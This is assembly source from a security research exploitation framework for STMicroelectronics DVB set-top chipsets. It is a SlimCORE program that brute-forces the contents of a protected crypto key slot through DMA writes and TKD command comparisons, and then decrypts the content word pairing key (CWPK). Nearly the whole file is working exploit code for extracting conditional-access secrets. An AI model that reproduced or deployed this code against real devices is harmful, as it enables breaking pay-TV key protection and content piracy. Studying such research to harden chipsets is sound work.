;/*## (c) SECURITY EXPLORATIONS    2011-2018 poland                           #*/
;/*##     http://www.security-explorations.com                                #*/
;
;/* RESEARCH MATERIAL:	SRP-2018-02                                            */
;/* [Exploitation Framework for STMicroelectronics DVB chipsets]               */
;
;SlimCORE sample illustrating 0xffff0000 TKD command (TDES mode)
;INPUT:  ARG0      - exploit phase to execute
;                             0: do_init
;                             1: get_key0
;                             2: get_key1 
;                             3: get_key2
;                             4: get_key3
;                             5: get_complete_key
;                             6: get_cwpk
;OUTPUT: RES0-RES3 - result of given exploit phase execution
;        do_init:             0 (RES0-RES3)
;        get_key0:            key0 part (RES0)
;        get_key1             key1 part (RES0)
;        get_key2             key2 part (RES0)
;        get_key3             key3 part (RES0)
;        get_complete_key     key slot 0x15 entry (RES0-RES3)
;        get_cwpk             plaintext value of CWPK (RES0-RES3)

.data 0x4140
.def ARG0
.def ARG1
.def ARG2
.def ARG3

.def RES0
.def RES1
.def RES2
.def RES3

.def REF0TDES
.def REF1TDES
.def REF2TDES
.def REF3TDES

.def REF0AES
.def REF1AES
.def REF2AES
.def REF3AES

.def KEY0
.word 0x0
.def KEY1
.word 0x0
.def KEY2
.word 0x0
.def KEY3
.word 0x0

.def inittkdcmd
.word 0x15000001

.def tkdcmd
.word 0xffff1500

.def tkdcmd2
.word 0xffff0000

.def dummytkdcmd
.word 0xffff1400

.def dmacmd
.word 0x23104022	       ;plaintext write DMA command

.def base
.word 0xfe248000

.def maxkeyval
.word 0x0fffffff

.def maxloopval
.word 0xffff

.def invalidkey
.word 0xfefefefe

.def keymask
.word 0xfefefefe

.def dummy
.word 0x11223344

.code 0x05b7
  j   start

key28tokey32:                   ;convert 7bit 7bit 7bit 7bit seq -> 7bit 0 7bit 0 7bit 0 7bit 0 seq
  mov   r4,(r1>>0)&0x7f         ;1st 7 bits
  mov   r5,(r1>>7)&0x7f         ;2nd 7 bits
  mov   r6,(r1>>14)&0x7f        ;3rd 7 bits
  mov   r7,(r1>>21)&0x7f        ;4th 7 bits

  shl    r4,r4,#1
  shl    r5,r5,#9
  shl    r6,r6,#17
  shl    r7,r7,#25

  mov    r1,r4
  add    r1,r1,r5,#0000
  add    r1,r1,r6,#0000
  add    r1,r1,r7,#0000
  jmp r13

key4tobitseq:			;convert dcba bit seq -> 7bit d 7bit c 7bit b 7bit a
  mov   r4,(r1>>0)&0x01         ;bit 0
  mov   r5,(r1>>1)&0x01         ;bit 1
  mov   r6,(r1>>2)&0x01         ;bit 2
  mov   r7,(r1>>3)&0x01         ;bit 3

  shl    r5,r5,#8
  shl    r6,r6,#16
  shl    r7,r7,#24

  mov    r1,r4
  add    r1,r1,r5,#0000
  add    r1,r1,r6,#0000
  add    r1,r1,r7,#0000

  jmp    r13

runtkdcmd_tdes:                 ;r3 tkdcmd
  copTDES
  mov  r15,r3                   ;load TKD cmd
l1a:
  wait1 l1a
  rpt 4
  mov r15,r0                    ;set 4 words of input vector to 0
l2a:
  wait1 l2a
  mov r4,r15                    ;store crypto result to r4-r7
  mov r5,r15
  mov r6,r15
  mov r7,r15
  jmp   r13

runtkdcmd_aes:                  ;r3 tkdcmd
  copAES
  mov  r15,r3                   ;load TKD cmd
l1b:
  wait2 l1b
  rpt 4
  mov r15,r0                    ;set 4 words of input vector to 0
l2b:
  wait2 l2b
  mov r4,r15                    ;store crypto result to r4-r7
  mov r5,r15
  mov r6,r15
  mov r7,r15
  jmp   r13

rundmacmd:		        ;r2=target key slot addr to copy r4-r7 data into
  ld  r3,[r0+base]              ;chipset base
  sync2
  add r3,r3,r2,#0000            ;add key slot offset to chipset base to form dst addr

  opcode 0x00f00000	        ;put chip into DMA mode
  sync2
  sync2

  ld  r15,[r0+dmacmd]           ;load TKD command
  mov r15,r3		        ;dst addr for crypto DMA transfer

  mov r15,r4		        ;32-bit word 0 to transfer
  mov r15,r5		        ;32-bit word 1 to transfer
  mov r15,r6	 	        ;32-bit word 2 to transfer
  mov r15,r7		        ;32-bit word 3 to transfer

  sync2                         ;gain on time / do the syncing of key memories
  sync2                         ;gain on time / do the syncing of key memories

  jmp r13

start:
  mov r0,#0000
  ld  r3,[r0+ARG0]

  st  r0,[r0+RES0]
  st  r0,[r0+RES1]
  st  r0,[r0+RES2]
  st  r0,[r0+RES3]

  sub r3,r3,r0,#0000
  je  do_init                  ;-> jump for 0

  sub r3,r3,r0,#0001
  je  get_key0                 ;-> jump for 1

  sub r3,r3,r0,#0001
  je  get_key1                 ;-> jump for 2

  sub r3,r3,r0,#0001
  je  get_key2                 ;-> jump for 3

  sub r3,r3,r0,#0001
  je  get_key3                 ;-> jump for 4

  sub r3,r3,r0,#0001
  je  get_complete_key         ;-> jump for 5

  sub r3,r3,r0,#0001
  je  get_cwpk                 ;-> jump for 6

  j   exit

;########## KEY SLOT 0x15 INIT
do_init:
  mov r13,#ret1
  ld  r3,[r0+inittkdcmd]
  j   runtkdcmd_tdes            ;initialize key slot 0x15 with the result of decrypting CWPK with SCK
ret1:
;########## CRYPTO REF VALUES INIT
  mov r13,#ret2a
  ld  r3,[r0+tkdcmd]		;decrypt given plaintext sequence with unknown (valid) key slot 15
  j   runtkdcmd_tdes
ret2a:
  st  r4,[r0+REF0TDES]          ;save target (reference) crypto result
  st  r5,[r0+REF1TDES]
  st  r6,[r0+REF2TDES]
  st  r7,[r0+REF3TDES]

  mov r13,#ret2b
  ld  r3,[r0+tkdcmd]            ;decrypt given plaintext sequence with unknown (valid) key slot 15
  j   runtkdcmd_aes
ret2b:
  st  r4,[r0+REF0AES]           ;save target (reference) crypto result
  st  r5,[r0+REF1AES]
  st  r6,[r0+REF2AES]
  st  r7,[r0+REF3AES]

  j   exit

;########## KEY0 DISCOVERY
get_key0:
again1:
  ld  r11,[r0+maxkeyval]        ;start key val
  mov r0,#0000
loop1:
  mov r1,r11                    ;input 28bit key val
  mov r13,#retl1a
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl1a:

  mov r2,#0x3464                ;target key mem location to start writing key data

  ld  r4,[r0+dummy]             ;-> 3464
  ld  r5,[r0+dummy]             ;-> 3468
  ld  r6,[r0+dummy]             ;-> 346c
  mov r7,r1                     ;-> 3470

  mov r13,#retl1b
  j   rundmacmd                 ;write key data with the use of DMA
retl1b:

  mov r13,#retl1c
  ld  r3,[r0+dummytkdcmd]
  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
retl1c:

  mov r13,#retl1d
  ld  r3,[r0+tkdcmd]
  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
retl1d:

  ld  r3,[r0+REF0TDES]
  mov r0,#0000

  sub r11,r11,r0,#0001          ;decrease the key val
  je  again1
  sub r4,r4,r3,#0000            ;compare the result value with a reference one
  jne loop1                     ;continue loop if no matching value (key) found

  add r1,r11,r0,#0001

  mov r13,#retl1e
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl1e:
  ld  r3,[r0+invalidkey]
  mov r0,#0000
  sub r3,r3,r1,#0000
  je  again1

  st  r1,[r0+KEY0]              ;key0 result
  st  r1,[r0+RES0]

  j   exit

;########## KEY1 DISCOVERY
get_key1:
again2:
  ld  r11,[r0+maxkeyval]        ;start key val
  mov r0,#0000
loop2:
  mov r1,r11                    ;input 28bit key val
  mov r13,#retl2a
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl2a:

  mov r2,#0x3468                ;target key mem location to start writing key data

  ld  r4,[r0+dummy]             ;-> 3468
  ld  r5,[r0+dummy]             ;-> 346c
  ld  r6,[r0+KEY0]              ;-> 3470
  mov r7,r1                     ;-> 3474

  mov r13,#retl2b
  j   rundmacmd                 ;write key data with the use of DMA
retl2b:

  mov r13,#retl2c
  ld  r3,[r0+dummytkdcmd]
  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
retl2c:

  mov r13,#retl2d
  ld  r3,[r0+tkdcmd]
  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
retl2d:

  ld  r3,[r0+REF1TDES]
  mov r0,#0000

  sub r11,r11,r0,#0001          ;decrease the key val
  je  again2
  sub r5,r5,r3,#0000            ;compare the result value with a reference one
  jne loop2                     ;continue loop if no matching value (key) found

  add r1,r11,r0,#0001

  mov r13,#retl2e
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl2e:
  ld  r3,[r0+invalidkey]
  mov r0,#0000
  sub r3,r3,r1,#0000
  je  again2

  st  r1,[r0+KEY1]              ;key0 result
  st  r1,[r0+RES0]

  j   exit

;########## KEY2 DISCOVERY
get_key2:
again3:
  ld  r11,[r0+maxkeyval]        ;start key val
  mov r0,#0000
loop3:
  mov r1,r11                    ;input 28bit key val
  mov r13,#retl3a
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl3a:

  mov r2,#0x346c                ;target key mem location to start writing key data

  ld  r4,[r0+dummy]             ;-> 346c
  ld  r5,[r0+KEY0]              ;-> 3470
  ld  r6,[r0+KEY1]              ;-> 3474
  mov r7,r1                     ;-> 3478

  mov r13,#retl3b
  j   rundmacmd                 ;write key data with the use of DMA
retl3b:

  mov r13,#retl3c
  ld  r3,[r0+dummytkdcmd]
  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
retl3c:

  mov r13,#retl3d
  ld  r3,[r0+tkdcmd]
  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
retl3d:

  ld  r3,[r0+REF2TDES]
  mov r0,#0000

  sub r11,r11,r0,#0001          ;decrease the key val
  je  again3
  sub r6,r6,r3,#0000            ;compare the result value with a reference one
  jne loop3                     ;continue loop if no matching value (key) found

  add r1,r11,r0,#0001

  mov r13,#retl3e
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl3e:
  ld  r3,[r0+invalidkey]
  mov r0,#0000
  sub r3,r3,r1,#0000
  je  again3

  st  r1,[r0+KEY2]              ;key0 result
  st  r1,[r0+RES0]

  j   exit

;########## KEY3 DISCOVERY
get_key3:
again4:
  ld  r11,[r0+maxkeyval]        ;start key val
  mov r0,#0000
loop4:
  mov r1,r11                    ;input 28bit key val
  mov r13,#retl4a
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl4a:

  mov r2,#0x3470                ;target key mem location to start writing key data

  ld  r4,[r0+KEY0]              ;-> 3470
  ld  r5,[r0+KEY1]              ;-> 3474
  ld  r6,[r0+KEY2]              ;-> 3478
  mov r7,r1                     ;-> 347c

  mov r13,#retl4b
  j   rundmacmd                 ;write key data with the use of DMA
retl4b:

  mov r13,#retl4c
  ld  r3,[r0+dummytkdcmd]
  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
retl4c:

  mov r13,#retl4d
  ld  r3,[r0+tkdcmd]
  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
retl4d:

  ld  r3,[r0+REF3TDES]
  mov r0,#0000

  sub r11,r11,r0,#0001          ;decrease the key val
  je  again4
  sub r7,r7,r3,#0000            ;compare the result value with a reference one
  jne loop4                     ;continue loop if no matching value (key) found

  add r1,r11,r0,#0001

  mov r13,#retl4e
  j key28tokey32                ;convert 28 bit key val to 32 bit one
retl4e:
  ld  r3,[r0+invalidkey]
  mov r0,#0000
  sub r3,r3,r1,#0000
  je  again4

  st  r1,[r0+KEY3]              ;key0 result
  st  r1,[r0+RES0]

  j   exit

;########## COMPLETE KEY DISCOVERY
get_complete_key:
  ld  r12,[r0+maxloopval]       ;start loop idx
  mov r0,#0000
loop5:
  mov   r8,(r12>>0)&0x0f        ;bit seq for KEY0
  mov   r9,(r12>>4)&0x0f        ;bit seq for KEY1
  mov   r10,(r12>>8)&0x0f       ;bit seq for KEY2
  mov   r11,(r12>>12)&0x0f      ;bit seq for KEY3

  mov   r1,r8
  mov   r13,#retl5a
  j     key4tobitseq
retl5a:
  mov   r8,r1

  mov   r1,r9
  mov   r13,#retl5b
  j     key4tobitseq
retl5b:
  mov   r9,r1

  mov   r1,r10
  mov   r13,#retl5c
  j     key4tobitseq
retl5c:
  mov   r10,r1

  mov   r1,r11
  mov   r13,#retl5d
  j     key4tobitseq
retl5d:
  mov   r11,r1

  ld    r3,[r0+keymask]

  ld    r4,[r0+KEY0]
  ld    r5,[r0+KEY1]
  ld    r6,[r0+KEY2]
  ld    r7,[r0+KEY3]

  and   r4,r4,r3
  and   r5,r5,r3
  and   r6,r6,r3
  and   r7,r7,r3

  or    r4,r4,r8
  or    r5,r5,r9
  or    r6,r6,r10
  or    r7,r7,r11

  st    r4,[r0+KEY0]
  st    r5,[r0+KEY1]
  st    r6,[r0+KEY2]
  st    r7,[r0+KEY3]

  mov r2,#0x3470                ;target key mem location to start writing key data

  mov r13,#retl5e
  j   rundmacmd                 ;write key data with the use of DMA
retl5e:

  mov r13,#retl5f
  ld  r3,[r0+dummytkdcmd]
  j   runtkdcmd_aes             ;run dummy tkd cmd to init TKD core regs with key slot 0x14
retl5f:

  mov r13,#retl5g
  ld  r3,[r0+tkdcmd]
  j   runtkdcmd_aes             ;run tkd cmd to compare result with the reference value
retl5g:

  ld  r8,[r0+REF0AES]
  ld  r9,[r0+REF1AES]
  ld  r10,[r0+REF2AES]
  ld  r11,[r0+REF3AES]

  sub r12,r12,r0,#0001          ;decrease the loop idx

  sub r4,r4,r8,#0000            ;compare the result value with a reference one
  jne loop5                     ;continue loop if no matching value (key) found

  sub r5,r5,r9,#0000            ;compare the result value with a reference one
  jne loop5                     ;continue loop if no matching value (key) found

  sub r6,r6,r10,#0000           ;compare the result value with a reference one
  jne loop5                     ;continue loop if no matching value (key) found

  sub r7,r7,r11,#0000           ;compare the result value with a reference one
  jne loop5                     ;continue loop if no matching value (key) found

  ld    r4,[r0+KEY0]
  ld    r5,[r0+KEY1]
  ld    r6,[r0+KEY2]
  ld    r7,[r0+KEY3]

  st    r4,[r0+RES0]
  st    r5,[r0+RES1]
  st    r6,[r0+RES2]
  st    r7,[r0+RES3]

  j   exit

;########## CWPK DISCOVERY
get_cwpk:
  ld  r4,[r0+KEY0]              ;load discovered content of key slot 0x15 into r4-r7
  ld  r5,[r0+KEY1]
  ld  r6,[r0+KEY2]
  ld  r7,[r0+KEY3]

  copTDES
  ld  r15,[r0+tkdcmd2]          ;load TKD command
l6a:
  wait1 l6a
  mov r15,r4                    ;load input to TKD command
  mov r15,r5
  mov r15,r6
  mov r15,r7
l6b:
  wait1 l6b
  mov r4,r15                    ;store the result value to registers
  mov r5,r15
  mov r6,r15
  mov r7,r15

  st  r4,[r0+RES0]              ;store the result value to RES0-RES3 locations
  st  r5,[r0+RES1]
  st  r6,[r0+RES2]
  st  r7,[r0+RES3]
exit:
